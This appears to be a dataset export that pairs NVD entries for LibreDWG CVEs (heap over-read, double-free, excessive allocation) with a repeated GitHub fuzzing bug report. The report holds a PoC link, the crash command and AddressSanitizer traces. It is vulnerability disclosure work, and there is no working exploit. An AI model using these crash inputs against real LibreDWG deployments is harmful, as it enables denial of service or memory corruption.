0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ab000-0x7fd7813ad000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813ad000-0x7fd7813b1000
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0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174f000-0x7fd78189f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 921
|
CVE-2019-20011
|
2019-12-27T01:15:13.383
|
An issue was discovered in GNU LibreDWG 0.92. There is a heap-based buffer over-read in decode_R13_R2000 in decode.c.
|
{
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00033.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00045.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643439"
},
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125
|
https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643439
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7811a7000-0x7fd7813a7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fd7813a7000-0x7fd7813ab000 /lib/x86_64-linux-gnu/libc-2.27.so
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0x7fd78174d000-0x7fd78174e000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7fd78174e000-0x7fd78174f000 /lib/x86_64-linux-gnu/libm-2.27.so
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0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 922
|
CVE-2019-20012
|
2019-12-27T01:15:13.460
|
An issue was discovered in GNU LibreDWG 0.92. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_HATCH_private in dwg.spec.
|
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],
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[
"770"
] |
770
|
https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643088
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
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0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
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0x7fd781aa5000-0x7fd78270a000
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0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
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0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 923
|
CVE-2019-20013
|
2019-12-27T01:15:13.523
|
An issue was discovered in GNU LibreDWG before 0.93. Crafted input will lead to an attempted excessive memory allocation in decode_3dsolid in dwg.spec.
|
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770
|
https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643060
|
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github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
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0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbf000-0x7fd780fc0000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fc0000-0x7fd7811a7000 /lib/x86_64-linux-gnu/libc-2.27.so
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0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 924
|
CVE-2019-20014
|
2019-12-27T01:15:13.587
|
An issue was discovered in GNU LibreDWG before 0.93. There is a double-free in dwg_free in free.c.
|
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415
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https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643172
|
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github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
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0x7fd78189f000-0x7fd781a9f000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781a9f000-0x7fd781aa2000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa2000-0x7fd781aa5000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7fd781aa5000-0x7fd78270a000
0x7fd78270a000-0x7fd782731000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd78279d000-0x7fd782927000
0x7fd782927000-0x7fd782931000
0x7fd782931000-0x7fd782932000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782932000-0x7fd782933000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fd782933000-0x7fd782934000
0x7fffa34fe000-0x7fffa351f000 [stack]
0x7fffa35bc000-0x7fffa35bf000 [vvar]
0x7fffa35bf000-0x7fffa35c1000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==6231==End of process memory map.
==6231==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7fd781838c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7fd781857595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7fd781842492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7fd78184e8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7fd78177b8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7fd78177604b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7fd78182dd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x55f7ba79bec8 in dwg_decode_SPLINE_private ../../src/dwg.spec:1639
#8 0x55f7ba7a4e19 in dwg_decode_SPLINE ../../src/dwg.spec:1585
#9 0x55f7bab4b89b in dwg_decode_add_object ../../src/decode.c:4738
#10 0x55f7bab5ef28 in decode_R13_R2000 ../../src/decode.c:1216
#11 0x55f7bab9161a in dwg_decode ../../src/decode.c:239
#12 0x55f7ba533f7a in dwg_read_file ../../src/dwg.c:206
#13 0x55f7ba53232d in main ../../programs/dwg2dxf.c:255
#14 0x7fd780fe1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#15 0x55f7ba5332e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
Thanks,
Linhlhq from Infiniti Team, VinCSS (a member of Vingroup) # #
|
Several bugs found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/176/comments
| 24
|
2019-12-24T03:44:32Z
|
2020-01-16T12:12:03Z
|
https://github.com/LibreDWG/libredwg/issues/176
| 541,977,765
| 176
| 925
|
CVE-2019-20015
|
2019-12-27T01:15:13.647
|
An issue was discovered in GNU LibreDWG 0.92. Crafted input will lead to an attempted excessive memory allocation in dwg_decode_LWPOLYLINE_private in dwg.spec.
|
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770
|
https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643028
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"LibreDWG",
"libredwg"
] |
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: dwg2dxf $PoC
**1.Crafted input will lead to Memory allocation failed in dwg_decode_SPLINE_private (src/dwg.spec:1639)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000000%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:36317
ASAN says:
```
==6231==ERROR: AddressSanitizer failed to allocate 0xd54f86000 (57260138496) bytes of LargeMmapAllocator (error code: 12)
==6231==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x55f7ba14f000-0x55f7bb643000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb843000-0x55f7bb85b000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb85b000-0x55f7bb93f000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x55f7bb93f000-0x55f7bb943000
.....
0x7fd78077d000-0x7fd780794000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780794000-0x7fd780993000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780993000-0x7fd780994000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780994000-0x7fd780995000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7fd780995000-0x7fd7809af000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd7809af000-0x7fd780bae000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bae000-0x7fd780baf000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780baf000-0x7fd780bb0000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7fd780bb0000-0x7fd780bb4000
0x7fd780bb4000-0x7fd780bbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780bbb000-0x7fd780dba000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dba000-0x7fd780dbb000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbb000-0x7fd780dbc000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7fd780dbc000-0x7fd780dbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780dbf000-0x7fd780fbe000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7fd780fbe000-0x7fd780fbf000 /lib/x86_64-linux-gnu/libdl-2.27.so
